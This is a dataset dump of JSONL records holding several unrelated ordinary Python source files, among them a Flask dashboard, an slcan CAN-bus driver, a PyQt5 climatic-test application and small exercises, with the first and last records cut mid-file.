imgContour)\n imgStack = stackImages(0.7, ([imgThreshold], [imgContour]))\n cv2.imshow(\"Images Stack\", imgStack)\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n\n#segmentation_contour_2()\n#segmentation_contour_3()\n#Une ligne de trop pour modifier\n#cv2.imshow(\"image\", image_result)\n#cv2.waitKey(0)","sub_path":"segmentation_main.py","file_name":"segmentation_main.py","file_ext":"py","file_size_in_byte":10762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"254847109","text":"from flask import Flask, render_template, jsonify\nimport requests\n\nfrom modules import oura_ring, weather_request, quote_request\n\nfrom dotenv import load_dotenv\nimport os\n\nload_dotenv()\n\n\napp = Flask(__name__)\n\n@app.route('/')\ndef root():\n weather_data = weather_request()\n oura_data = oura_ring()\n quote_data = quote_request()\n return render_template('index.html', weather = weather_data, oura=oura_data, quote = quote_data)\n\n\n@app.route('/weather', methods=['GET'])\n\ndef weather():\n response = weather_request()\n return jsonify(weather=response)\n\n\n@app.route('/oura', methods=['GET'])\ndef ring():\n response = oura_ring()\n return jsonify(response=response)\n\n@app.route('/quote', methods=['GET'])\ndef quote():\n response = quote_request()\n print(response)\n return response","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"245475825","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nInterface for slcan compatible interfaces (win32/linux).\n\n.. note::\n\n Linux users can use slcand or socketcan as well.\n\n\"\"\"\n\nfrom __future__ import absolute_import\n\nimport io\nimport time\nimport logging\n\nimport serial\n\nfrom can import BusABC, Message\n\nlogger = logging.getLogger(__name__)\n\n\nclass slcanBus(BusABC):\n \"\"\"\n slcan interface\n \"\"\"\n\n # the supported bitrates and their commands\n _BITRATES = {\n 10000: 'S0',\n 20000: 'S1',\n 50000: 'S2',\n 100000: 'S3',\n 125000: 'S4',\n 250000: 'S5',\n 500000: 'S6',\n 750000: 'S7',\n 1000000: 'S8',\n 83300: 'S9'\n }\n\n _SLEEP_AFTER_SERIAL_OPEN = 2 # in seconds\n\n def __init__(self, channel, ttyBaudrate=115200, timeout=1, bitrate=None, **kwargs):\n \"\"\"\n :param string channel:\n port of underlying serial or usb device (e.g. /dev/ttyUSB0, COM8, ...)\n Must not be empty.\n :param int ttyBaudrate:\n baudrate of underlying serial or usb device\n :param int bitrate:\n Bitrate in bit/s\n :param float poll_interval:\n Poll interval in seconds when reading messages\n :param float timeout:\n timeout in seconds when reading message\n \"\"\"\n\n if not channel: # if None or empty\n raise TypeError(\"Must specify a serial port.\")\n\n if '@' in channel:\n (channel, ttyBaudrate) = channel.split('@')\n\n self.serialPortOrig = serial.Serial(channel, baudrate=ttyBaudrate, timeout=timeout)\n self.serialPort = io.TextIOWrapper(io.BufferedRWPair(self.serialPortOrig, self.serialPortOrig, 1),\n newline='\\r', line_buffering=True)\n\n time.sleep(self._SLEEP_AFTER_SERIAL_OPEN)\n\n if bitrate is not None:\n self.close()\n if bitrate in self._BITRATES:\n self.write(self._BITRATES[bitrate])\n else:\n raise ValueError(\"Invalid bitrate, choose one of \" + (', '.join(self._BITRATES)) + '.')\n\n self.open()\n\n super(slcanBus, self).__init__(channel, ttyBaudrate=115200, timeout=1,\n bitrate=None, **kwargs)\n\n def write(self, string):\n if not string.endswith('\\r'):\n string += '\\r'\n self.serialPort.write(string.decode())\n self.serialPort.flush()\n\n def open(self):\n self.write('O')\n\n def close(self):\n self.write('C')\n\n def _recv_internal(self, timeout):\n if timeout is not None:\n self.serialPortOrig.timeout = timeout\n\n canId = None\n remote = False\n extended = False\n frame = []\n readStr = self.serialPort.readline()\n if not readStr:\n return None, False\n else:\n if readStr[0] == 'T':\n # extended frame\n canId = int(readStr[1:9], 16)\n dlc = int(readStr[9])\n extended = True\n for i in range(0, dlc):\n frame.append(int(readStr[10 + i * 2:12 + i * 2], 16))\n elif readStr[0] == 't':\n # normal frame\n canId = int(readStr[1:4], 16)\n dlc = int(readStr[4])\n for i in range(0, dlc):\n frame.append(int(readStr[5 + i * 2:7 + i * 2], 16))\n elif readStr[0] == 'r':\n # remote frame\n canId = int(readStr[1:4], 16)\n remote = True\n elif readStr[0] == 'R':\n # remote extended frame\n canId = int(readStr[1:9], 16)\n extended = True\n remote = True\n\n if canId is not None:\n msg = Message(arbitration_id=canId,\n extended_id=extended,\n timestamp=time.time(), # Better than nothing...\n is_remote_frame=remote,\n dlc=dlc,\n data=frame)\n return msg, False\n else:\n return None, False\n\n def send(self, msg, timeout=None):\n if msg.is_remote_frame:\n if msg.is_extended_id:\n sendStr = \"R%08X0\" % (msg.arbitration_id)\n else:\n sendStr = \"r%03X0\" % (msg.arbitration_id)\n else:\n if msg.is_extended_id:\n sendStr = \"T%08X%d\" % (msg.arbitration_id, msg.dlc)\n else:\n sendStr = \"t%03X%d\" % (msg.arbitration_id, msg.dlc)\n\n for i in range(0, msg.dlc):\n sendStr += \"%02X\" % msg.data[i]\n self.write(sendStr)\n\n def shutdown(self):\n self.close()\n","sub_path":"pcan_python/can/interfaces/slcan.py","file_name":"slcan.py","file_ext":"py","file_size_in_byte":4834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"649496215","text":"def rec(a, b):\n while a != b:\n if a > b:\n a = a - b\n else:\n b = b - a\n return a\n\nfirst = int(input(\"First number: \"))\nsecond = int(input(\"Second number: \"))\n\n\nprint(rec(first,second))","sub_path":"lab4/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"223289099","text":"\ncommand = [\n {\n \"command\" : \"!carte\",\n \"text\" : \"Et c'est ainsi que {PLAYER} trouva une carte lui indiquant l'île où il se trouvait:\\n{CONTENT}\",\n \"embed\" : 0x005000,\n \"embed_title\" : \"L'île {CONTENT}\",\n \"delete\" : True\n },\n {\n \"command\" : \"!message\",\n \"text\" : \"Ceci est message de test en TTS\",\n \"tts\" : True,\n \"permission\" : \"test\",\n }\n]\n\n","sub_path":"Team Papi Process/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"176610196","text":"import random\nimport shutil\nfrom argparse import ArgumentParser, Namespace\nfrom pathlib import Path\n\n\ndef get_parser() -> Namespace:\n parser = ArgumentParser()\n parser.add_argument(\"dir\", help=\"Target directory\")\n parser.add_argument(\"-n\", \"--num\", default=100, help=\"Number of files to select\")\n return parser.parse_args()\n\n\ndef main():\n args = get_parser()\n\n item_dir = Path(args.dir)\n num = int(args.num)\n\n output_dir = Path(f\"{item_dir.stem}-random_selected\")\n output_dir.mkdir(exist_ok=True, parents=True)\n\n fp_list = list([fp for fp in item_dir.glob(\"*\") if fp.is_file()])\n selected_list = random.sample(fp_list, num)\n print(selected_list)\n\n for fp in selected_list:\n shutil.copy(str(fp), str(output_dir / fp.name))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"utils/random_select_copy.py","file_name":"random_select_copy.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"214729853","text":"# create a 300x300 canvas.\n# create a square drawing function that takes 1 parameter:\n# the square size\n# and draws a square of that size to the center of the canvas.\n# draw 3 squares with that function.\n\nfrom tkinter import *\n\nroot= Tk()\ncanvas = Canvas(root, width=\"300\", height=\"300\")\ncanvas.pack()\n\nwidth = 300\nheight= 300\n\ndef drawing(a):\n rect = canvas.create_rectangle(width/2-a/2, height/2-a/2, width/2+a/2, height/2+a/2)\n\ndrawing(10)\ndrawing(30)\ndrawing(50)\n\nroot.mainloop()\n","sub_path":"week-04/day-03/09.py","file_name":"09.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"585480616","text":"\"\"\"This module is used for main method\"\"\"\nfrom __future__ import print_function\nimport argparse\nimport logging\nfrom src.exception.unnecessary_parameter_exception import UnnecessaryParameterException\nfrom src.driver.scientific_calc import ScientificCalc\nfrom src.exception.method_not_found_exception import MethodNotFoundException\n\nlogging.basicConfig(filename='ScientificCalculatorLog.log', level=logging.ERROR,\n format='%(name)s - %(levelname)s - %(message)s - %(asctime)s '\n '- %(lineno)d - %(module)s - %('\n 'funcName)s - %(pathname)s')\n\ndef main():\n \"\"\"This main function is used to get input from user and call the scientific calculator\n functions, create object for scientific_calc class, passing parameters using Command Line\n and calling the method\"\"\"\n try:\n obj_power = ScientificCalc()\n parser = argparse.ArgumentParser()\n parser.add_argument('--function', type=str, required=True, nargs='+')\n args = parser.parse_args()\n method_name = args.function\n if method_name[0] == 'e_power_x':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n power = method_name[1]\n print(obj_power.exponential_func(power))\n elif method_name[0] == '10_power_x':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n power_val = method_name[1]\n print(obj_power.cal_power_ten(power_val))\n elif method_name[0] == 'x_power_y':\n if len(method_name) > 3:\n raise UnnecessaryParameterException\n input_base = method_name[1]\n input_power = method_name[2]\n final_answer = obj_power.var_initialization(input_base, input_power)\n print(final_answer)\n elif method_name[0] == 'calculate_tanh':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n res = obj_power.calculate_tanh(method_name[1])\n print(res)\n elif method_name[0] == 'sin_func':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n power = method_name[1]\n print(obj_power.sin_func(power))\n elif method_name[0] == 'cube_root':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n number = method_name[1]\n print(obj_power.cube_root(number))\n elif method_name[0] == 'square_root':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n x_value = method_name[1]\n print(obj_power.square_root(x_value))\n elif method_name[0] == 'rad':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n angle = method_name[1]\n print(obj_power.rad(angle))\n elif method_name[0] == 'one_by_x':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n number1 = method_name[1]\n print(obj_power.one_by_x(number1))\n elif method_name[0] == 'calculate_cos':\n if len(method_name) > 2:\n raise UnnecessaryParameterException\n number1 = method_name[1]\n print(obj_power.calculate_cos(number1))\n else:\n raise MethodNotFoundException\n\n except IndexError as index:\n print(index)\n logging.exception(index)\n\n except UnnecessaryParameterException as parameter:\n logging.exception(parameter)\n\n except MethodNotFoundException as parameter:\n logging.exception(parameter)\n","sub_path":"src/main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"169390533","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nEasytest 2 UI Application\n\"\"\"\nimport datetime\nimport json\nimport sys\nimport traceback\n\nimport requests\n\nfrom dateutil import parser\n\nfrom PyQt5 import uic, QtWidgets as QW\nfrom PyQt5.QtCore import QTranslator\nfrom PyQt5.QtWidgets import QListWidgetItem\n\nfrom bl.easytest import Test\n\n\nclass TMode(QW.QWidget):\n def __init__(self, mode=None, parent=None):\n super(TMode, self).__init__()\n uic.loadUi('tmode.ui', self)\n self.is_edit = bool(mode)\n self.mode = mode if mode else {\n 'logs': [],\n 'target': None,\n 'cp': [],\n 'md': []\n }\n if not self.is_edit: # if it's new mode hide the delete button\n self.remove.hide()\n self.parent = parent\n self.setAcceptDrops(True)\n self.bind_ui()\n\n def bind_ui(self):\n self.target.setText(self.mode['target'])\n self.cp_values.setText(' | '.join(self.mode['cp']))\n self.md_values.setText(' | '.join(self.mode['md']))\n\n for log in self.mode['logs']:\n list_item = QListWidgetItem('{} (датчиков: {})'.format(log['file'],\n log['sensors_count']))\n self.logs.addItem(list_item)\n\n self.save.clicked.connect(self.save_tmode)\n self.remove.clicked.connect(self.remove_mode)\n self.target.textEdited.connect(self.on_target_edit)\n self.cp_values.textEdited.connect(self.on_cp_edit)\n self.md_values.textEdited.connect(self.on_md_edit)\n self.logs.itemDoubleClicked.connect(self.on_logs_doubleclick)\n\n def on_target_edit(self, value):\n self.mode['target'] = value\n if value:\n default_cp_and_md = ' | '.join([value + '.0' for i in range(10)])\n else:\n default_cp_and_md = None\n\n self.cp_values.setText(default_cp_and_md)\n self.md_values.setText(default_cp_and_md)\n self.mode['cp'] = [v for v in default_cp_and_md.split(' | ')]\n self.mode['md'] = [v for v in default_cp_and_md.split(' | ')]\n\n def save_tmode(self):\n try:\n if self.is_edit:\n self.parent.update_test_widget()\n else:\n self.parent.test.add_temperature_mode(self.mode)\n list_item = QListWidgetItem('Режим {}. Файлов: {}'.format(self.mode['target'],\n len(self.mode['logs'])))\n self.parent.tmodes_list.addItem(list_item)\n self.close()\n except Exception as e:\n print(e)\n\n def remove_mode(self):\n try:\n reply = QW.QMessageBox.question(self,\n 'Подтвердите дейтсвие',\n 'Вы действительно удалить данный режим? ',\n QW.QMessageBox.Yes | QW.QMessageBox.No,\n QW.QMessageBox.No)\n if reply == QW.QMessageBox.Yes:\n to_remove = [i for i in self.parent.test.data['temperature'] \\\n if i['mode'] == self.mode]\n if to_remove:\n to_remove = to_remove[0]\n self.parent.test.data['temperature'].remove(to_remove)\n self.parent.update_test_widget()\n self.close()\n else:\n return\n except Exception as e:\n print(e)\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls():\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, event):\n files = [str(u.toLocalFile()) for u in event.mimeData().urls()]\n for f in files:\n num, ok = QW.QInputDialog.getInt(self,\n 'Параметры файла лога',\n 'Количество датчиков (файл {}):'.format(f))\n if ok and num > 0:\n list_item = QListWidgetItem('{} (датчиков: {})'.format(f, num))\n self.logs.addItem(list_item)\n self.mode['logs'].append({'file': f, 'sensors_count': str(num)})\n\n def on_cp_edit(self, val):\n self.mode['cp'] = [v for v in val.split(' | ')]\n\n def on_md_edit(self, val):\n self.mode['md'] = [v for v in val.split(' | ')]\n\n def on_logs_doubleclick(self, item):\n self.logs.takeItem(self.logs.row(item))\n clicked_file = item.text().split(' ')[0]\n log = [i for i in self.mode['logs'] if i['file'] == clicked_file]\n if not log:\n return\n self.mode['logs'].remove(log[0])\n\n\nclass HMode(QW.QWidget):\n def __init__(self, mode=None, parent=None):\n super(HMode, self).__init__()\n uic.loadUi('hmode.ui', self)\n self.is_edit = bool(mode)\n self.mode = mode if mode else {\n 'logs': [],\n 'target': {\n 'humidity': None,\n 'temperature': None\n },\n 'md': {\n 'humidity': [],\n 'temperature': []\n }\n }\n if not self.is_edit: # if it's new mode hide the delete button\n self.remove.hide()\n self.parent = parent\n self.setAcceptDrops(True)\n self.bind_ui()\n\n def bind_ui(self):\n self.target_temp.setText(self.mode['target']['temperature'])\n self.target_hum.setText(self.mode['target']['humidity'])\n\n self.md_hum.setText(' | '.join(self.mode['md']['humidity']))\n self.md_temp.setText(' | '.join(self.mode['md']['temperature']))\n\n for log in self.mode['logs']:\n list_item = QListWidgetItem('{} (для {})'.format(log['file'],\n log['desc']))\n self.logs.addItem(list_item)\n\n self.save.clicked.connect(self.save_hmode)\n self.remove.clicked.connect(self.remove_mode)\n\n self.target_temp.textEdited.connect(self.on_target_temp_edit)\n self.target_hum.textEdited.connect(self.on_target_hum_edit)\n\n self.md_hum.textEdited.connect(self.on_md_hum_edit)\n self.md_temp.textEdited.connect(self.on_md_temp_edit)\n\n self.logs.itemDoubleClicked.connect(self.on_logs_doubleclick)\n\n def on_target_temp_edit(self, value):\n self.mode['target']['temperature'] = value\n if value:\n default_md_temp = ' | '.join([value + '.0' for i in range(10)])\n else:\n default_md_temp = None\n\n self.md_temp.setText(default_md_temp)\n self.mode['md']['temperature'] = [v for v in default_md_temp.split(' | ')]\n\n def on_target_hum_edit(self, value):\n self.mode['target']['humidity'] = value\n if value:\n default_md_hum = ' | '.join([value + '.0' for i in range(10)])\n else:\n default_md_hum = None\n\n self.md_hum.setText(default_md_hum)\n self.mode['md']['humidity'] = [v for v in default_md_hum.split(' | ')]\n\n def save_hmode(self):\n try:\n if self.is_edit:\n self.parent.update_test_widget()\n else:\n self.parent.test.add_humidity_mode(self.mode)\n list_item = QListWidgetItem(\n 'Режим {}/{}. Файлов: {}'.format(self.mode['target']['temperature'],\n self.mode['target']['humidity'],\n len(self.mode['logs'])))\n\n self.parent.hmodes_list.addItem(list_item)\n self.close()\n except Exception as e:\n print(e)\n\n def remove_mode(self):\n try:\n reply = QW.QMessageBox.question(self,\n 'Подтвердите дейтсвие',\n 'Вы действительно удалить данный режим? ',\n QW.QMessageBox.Yes | QW.QMessageBox.No,\n QW.QMessageBox.No)\n if reply == QW.QMessageBox.Yes:\n to_remove = [i for i in self.parent.test.data['humidity'] \\\n if i['mode'] == self.mode]\n if to_remove:\n to_remove = to_remove[0]\n self.parent.test.data['humidity'].remove(to_remove)\n self.parent.update_test_widget()\n self.close()\n else:\n return\n except Exception as e:\n print(e)\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls():\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, event):\n files = [str(u.toLocalFile()) for u in event.mimeData().urls()]\n items = ['DT1', 'DT2', 'KT']\n for f in files:\n item, ok = QW.QInputDialog.getItem(self,\n 'Параметры файла лога',\n 'Использовать как (файл {}):'.format(f), items)\n if ok and item:\n list_item = QListWidgetItem('{} ({})'.format(f, item))\n self.logs.addItem(list_item)\n self.mode['logs'].append({'file': f, 'desc': str(item)})\n\n def on_md_hum_edit(self, val):\n self.mode['md']['humidity'] = [v for v in val.split(' | ')]\n\n def on_md_temp_edit(self, val):\n self.mode['md']['temperature'] = [v for v in val.split(' | ')]\n\n def on_logs_doubleclick(self, item):\n self.logs.takeItem(self.logs.row(item))\n clicked_file = item.text().split(' ')[0]\n log = [i for i in self.mode['logs'] if i['file'] == clicked_file]\n if not log:\n return\n self.mode['logs'].remove(log[0])\n\n\nclass EasyTest(QW.QMainWindow):\n def __init__(self):\n super(EasyTest, self).__init__()\n uic.loadUi('easytest2.ui', self)\n self.test = None\n self.children = []\n\n systems = requests.get('http://192.168.25.85:5000/inventory/systems').json()\n systems = [s for s in systems if s['purpose'] == 'climatic']\n self.db_systems = sorted(systems, key=lambda s: (s['name']))\n\n tools = requests.get('http://192.168.25.85:5000/inventory/tools').json()\n self.db_tools = tools\n\n self.init_ui()\n\n def init_ui(self):\n self.setWindowTitle('EasyTest 2')\n self.tabWidget.close()\n self.init_menu()\n self.bind_test_to_ui()\n self.init_db_integrated_controls()\n self.show()\n\n def init_menu(self): # initialize top menu\n self.exit.triggered.connect(self.close)\n self.new_test.triggered.connect(self.init_new_test_handler)\n self.open_test.triggered.connect(self.open_test_handler)\n self.save.triggered.connect(self.save_test_handler)\n self.save_as.triggered.connect(self.save_test_as_handler)\n self.create_report.triggered.connect(self.create_report_handler)\n\n def bind_test_to_ui(self):\n def bind(field, value):\n self.test.data[field] = value\n self.specialist.textEdited.connect(lambda x: bind('specialist', x))\n self.test_start_date.dateChanged.connect(lambda x: bind('test_start_date',\n x.toString('yyyy-MM-dd')))\n self.test_end_date.dateChanged.connect(lambda x: bind('test_end_date',\n x.toString('yyyy-MM-dd')))\n\n self.system_select.activated[str].connect(self.on_system_select)\n self.tools_available.itemDoubleClicked.connect(self.on_available_tool_doubleclick)\n self.tools_selected.itemDoubleClicked.connect(self.on_selected_tool_doubleclick)\n\n # modes\n self.btn_add_tmode.clicked.connect(self.on_add_tmode_click)\n self.btn_add_hmode.clicked.connect(self.on_add_hmode_click)\n self.tmodes_list.itemDoubleClicked.connect(self.on_tmode_doubleclick)\n self.hmodes_list.itemDoubleClicked.connect(self.on_hmode_doubleclick)\n\n def init_db_integrated_controls(self):\n # Systems\n systems = [i['name'] for i in self.db_systems]\n items = ['Не выбрана']\n items.extend(systems)\n self.system_select.addItems(items)\n\n # Tools\n for tool in sorted(self.db_tools, key=lambda tool: (tool['name'])):\n list_item = QListWidgetItem(tool['name'])\n self.tools_available.addItem(list_item)\n\n # MENU ACTION HANDLERS\n ################################################################################################\n def init_new_test_handler(self):\n\n def execute():\n self.test = Test()\n self.update_test_widget()\n self.tabWidget.show()\n self.setWindowTitle('EasyTest 2 - Новая аттестация')\n self.save_as.setEnabled(True)\n self.save.setEnabled(False)\n self.create_report.setEnabled(True)\n\n if self.test:\n reply = QW.QMessageBox.question(self,\n 'Подтвердите дейтсвие',\n 'Вы действительно хотите создать новую аттестацию? ' +\n 'Все несохранённые изменения будут потеряны!',\n QW.QMessageBox.Yes | QW.QMessageBox.No,\n QW.QMessageBox.No)\n if reply == QW.QMessageBox.Yes:\n execute()\n else:\n return\n else:\n execute()\n\n def open_test_handler(self):\n\n def execute():\n fname = QW.QFileDialog.getOpenFileName(self, 'Окрыть файл аттестации', '.',\n filter='*.et2')\n if not fname[0]:\n return\n else:\n try:\n self.test = Test(fname[0]) # init Test object\n self.update_test_widget() # push data to UI\n self.tabWidget.show()\n self.setWindowTitle('EasyTest 2 - ' + fname[0])\n self.save_as.setEnabled(True)\n self.save.setEnabled(True)\n self.create_report.setEnabled(True)\n except Exception as e:\n print(e)\n\n if self.test:\n reply = QW.QMessageBox.question(self,\n 'Подтвердите дейтсвие',\n 'Вы действительно хотите открыть другую аттестацию? ' +\n 'Все несохранённые изменения будут потеряны!',\n QW.QMessageBox.Yes | QW.QMessageBox.No,\n QW.QMessageBox.No)\n\n if reply == QW.QMessageBox.Yes:\n execute()\n else:\n return\n else:\n execute()\n\n def save_test_handler(self):\n self.test.save()\n self.statusBar().showMessage('Сохранено', 2000)\n\n def save_test_as_handler(self):\n fname = QW.QFileDialog.getSaveFileName(self, 'Выберите путь для сохранения', '.et2',\n filter='*.et2')\n if not fname[0]:\n return\n else:\n try:\n filename = fname[0]\n if filename[(len(filename) - 4):] != '.et2':\n filename += '.et2'\n self.test.save_as(filename)\n self.save.setEnabled(True)\n self.statusBar().showMessage('Сохранено в {}'.format(filename), 3000)\n except Exception as e:\n print(e)\n\n def create_report_handler(self):\n try:\n dir_name = QW.QFileDialog.getExistingDirectory(self, 'Выберите путь для создания протокола')\n if not dir_name:\n return\n else:\n self.test.create_report(dir_name)\n msg = QW.QMessageBox()\n msg.setIcon(QW.QMessageBox.Information)\n msg.setText('Протокол для расчитанных режимов успешно создан в {}'.format(dir_name))\n msg.setWindowTitle('Все готово')\n msg.setStandardButtons(QW.QMessageBox.Ok)\n msg.exec_()\n except Exception as e:\n print(e)\n et, ev, tb = sys.exc_info()\n msg = QW.QMessageBox()\n msg.setIcon(QW.QMessageBox.Information)\n msg.setText(\n 'Ошибка {} при создании протокола: {} Traceback: {}'.format(et, ev,\n traceback.format_tb(\n tb)))\n msg.setWindowTitle('Ошибка')\n msg.setStandardButtons(QW.QMessageBox.Ok)\n msg.exec_()\n\n # HELPERS\n ################################################################################################\n def update_test_widget(self):\n data = self.test.data\n self.specialist.setText(data['specialist'])\n\n start_date = parser.parse(data['test_start_date']) if data['test_start_date'] else \\\n datetime.date.today()\n\n end_date = parser.parse(data['test_end_date']) if data['test_end_date'] else \\\n datetime.date.today()\n\n self.test_start_date.setDate(start_date)\n self.test_end_date.setDate(end_date)\n\n # system select\n system = data['system']\n name = system['name'] if system else 'Не выбрана'\n index = self.system_select.findText(name)\n if index >= 0:\n self.system_select.setCurrentIndex(index)\n self.on_system_select(name)\n\n # selected tools TODO maybe there's a need for a check if a tool from saved test is in db\n self.tools_selected.clear()\n for tool in sorted(data['tools'], key=lambda t: (t['name'])):\n list_item = QListWidgetItem(tool['name'])\n self.tools_selected.addItem(list_item)\n\n # tmodes\n self.tmodes_list.clear()\n for tmode in sorted(data['temperature'], key=lambda m: (m['mode']['target'])):\n mode = tmode['mode']\n list_item = QListWidgetItem('Режим {}. Файлов: {}'.format(mode['target'],\n len(mode['logs'])))\n self.tmodes_list.addItem(list_item)\n\n # hmodes\n self.hmodes_list.clear()\n for hmode in sorted(data['humidity'], key=lambda m: (m['mode']['target']['temperature'])):\n mode = hmode['mode']\n list_item = QListWidgetItem(\n 'Режим {}/{}. Файлов: {}'.format(mode['target']['temperature'],\n mode['target']['humidity'],\n len(mode['logs'])))\n self.hmodes_list.addItem(list_item)\n\n def on_system_select(self, name):\n display_keys = [\n 'name', 'manufacturer', 'yearOfProduction',\n 'code', 'inventoryNumber', 'actualPlacement', 'techDetails', 'comment'\n ]\n\n def get_verbose_key(k):\n \"\"\"Returns user friendly repr for a system dict key\"\"\"\n mapping = {\n 'name': 'Наименование',\n 'manufacturer': 'Производитель',\n 'yearOfProduction': 'Год выпуска',\n 'code': 'Код',\n 'inventoryNumber': 'Инвентарный номер',\n 'actualPlacement': 'Расположение',\n 'comment': 'Примечание',\n 'techDetails': 'Тех. характеристики'\n }\n return mapping.get(k, k)\n\n self.system_info.clear()\n\n if name == 'Не выбрана':\n self.test.data['system'] = None\n else:\n tmp = [i for i in self.db_systems if i['name'] == name]\n if len(tmp) != 1:\n raise LookupError('Zero or more then one system found by name: {}'.format(name))\n else:\n system = tmp[0]\n self.test.data['system'] = system\n\n # system info code\n for k in display_keys:\n list_item = QListWidgetItem('{} - {}'.format(get_verbose_key(k), system[k]))\n self.system_info.addItem(list_item)\n\n def on_available_tool_doubleclick(self, item):\n selected_tools = [self.tools_selected.item(i) for i in range(self.tools_selected.count())]\n\n selected_names = [i.text() for i in selected_tools]\n\n clicked_name = item.text()\n\n if clicked_name not in selected_names:\n list_item = QListWidgetItem(clicked_name)\n self.tools_selected.addItem(list_item)\n\n in_test = [t['name'] for t in self.test.data['tools']]\n if clicked_name in in_test:\n return\n tool = [i for i in self.db_tools if i['name'] == clicked_name]\n if not tool:\n raise LookupError('Could not find tool in db')\n self.test.data['tools'].append(tool[0])\n\n def on_selected_tool_doubleclick(self, item):\n self.tools_selected.takeItem(self.tools_selected.row(item))\n clicked_name = item.text()\n tool = [i for i in self.test.data['tools'] if i['name'] == clicked_name]\n if not tool:\n return\n self.test.data['tools'].remove(tool[0])\n\n def on_add_tmode_click(self):\n tmode_window = TMode(parent=self)\n self.children.append(tmode_window)\n tmode_window.show()\n\n def on_add_hmode_click(self):\n hmode_window = HMode(parent=self)\n self.children.append(hmode_window)\n hmode_window.show()\n\n def on_tmode_doubleclick(self, item):\n text = item.text()\n target = text.split('.')[0]\n target = target.split(' ')[1]\n mode = [i for i in self.test.data['temperature'] if i['mode']['target'] == target]\n if mode:\n mode = mode[0]['mode']\n tmode_window = TMode(parent=self, mode=mode)\n self.children.append(tmode_window)\n tmode_window.show()\n\n def on_hmode_doubleclick(self, item):\n text = item.text()\n text = text.split('.')[0]\n text = text.split(' ')[1]\n target_temp, target_hum = text.split('/')\n mode = [i for i in self.test.data['humidity'] if \\\n i['mode']['target']['temperature'] == target_temp and \\\n i['mode']['target']['humidity'] == target_hum]\n if mode:\n mode = mode[0]['mode']\n hmode_window = HMode(parent=self, mode=mode)\n self.children.append(hmode_window)\n hmode_window.show()\n\n # EVENT OVERLOADING\n ################################################################################################\n def closeEvent(self, event):\n reply = QW.QMessageBox.question(self,\n 'Выход из программы',\n 'Вы действительно хотите выйти? ' +\n 'Все несохранённые изменения будут потеряны!',\n QW.QMessageBox.Yes | QW.QMessageBox.No,\n QW.QMessageBox.No)\n\n if reply == QW.QMessageBox.Yes:\n for w in self.children:\n w.close() # close all the children\n event.accept()\n\n else:\n event.ignore()\n\nif __name__ == '__main__':\n app = QW.QApplication(sys.argv)\n\n # localization\n qtTranslator = QTranslator()\n if qtTranslator.load('translations\\qtbase_ru'):\n app.installTranslator(qtTranslator)\n\n window = EasyTest()\n sys.exit(app.exec_())\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":24619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"472154436","text":"contadorpositivo=0\n\ncontadornegativo=0\n\ncontadorpares=0\n\ncontadorimpar=0\n\nmultiplosdeocho=0\n\ny=int(input(\"ingresa el numero\"))\n\nx=int(input(\"ingresa el numero\"))\n\nfor i in range(y, x+1):\n\n if i>0:\n\n contadorpositivo=contadorpositivo+1\n\n if i<0:\n\n contadornegativo=contadornegativo+1\n\n if i%2==0:\n\n contadorpares=contadorpares+1\n\n if i%2!=0:\n\n contadorimpar=contadorimpar+1\n\n if i%8==0:\n\n multiplosdeocho=multiplosdeocho+1\n\nprint(\"positivo\",contadorpositivo)\n\nprint(\"negativo\",contadornegativo)\n\nprint(\"par\",contadorpares)\n\nprint(\"impar\",contadorimpar)\n\nprint(\"multiplos de ocho\",multiplosdeocho)","sub_path":"68.py","file_name":"68.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"627309692","text":"#!/usr/bin/env python\n\"\"\"\nExample script for plotting RHIs from the CMAC VAP\n\"\"\"\n\nimport argparse\n\nimport netCDF4\nimport matplotlib.pyplot as plt\nimport pyart\n\nif __name__ == \"__main__\":\n\n # parse the command line arguments\n parser = argparse.ArgumentParser(\n description=\"Plot all RHIs in a CMAC VAP NetCDF file. A figure \"\n \"named prefix_%timestr.png is created.\")\n parser.add_argument(\"filename\", type=str,\n help=\"CMAC VAP NetCDF file to plot.\")\n parser.add_argument(\"prefix\", type=str,\n help=\"Prefix in filename, example 'figure_'.\")\n args = parser.parse_args()\n\n # read the data and create the display object\n radar = pyart.io.read_netcdf(args.filename)\n radar.metadata['instrument_name'] = 'XSAPR' # XXX Hack\n display = pyart.graph.RadarDisplay(radar)\n\n # create the figure\n fig = 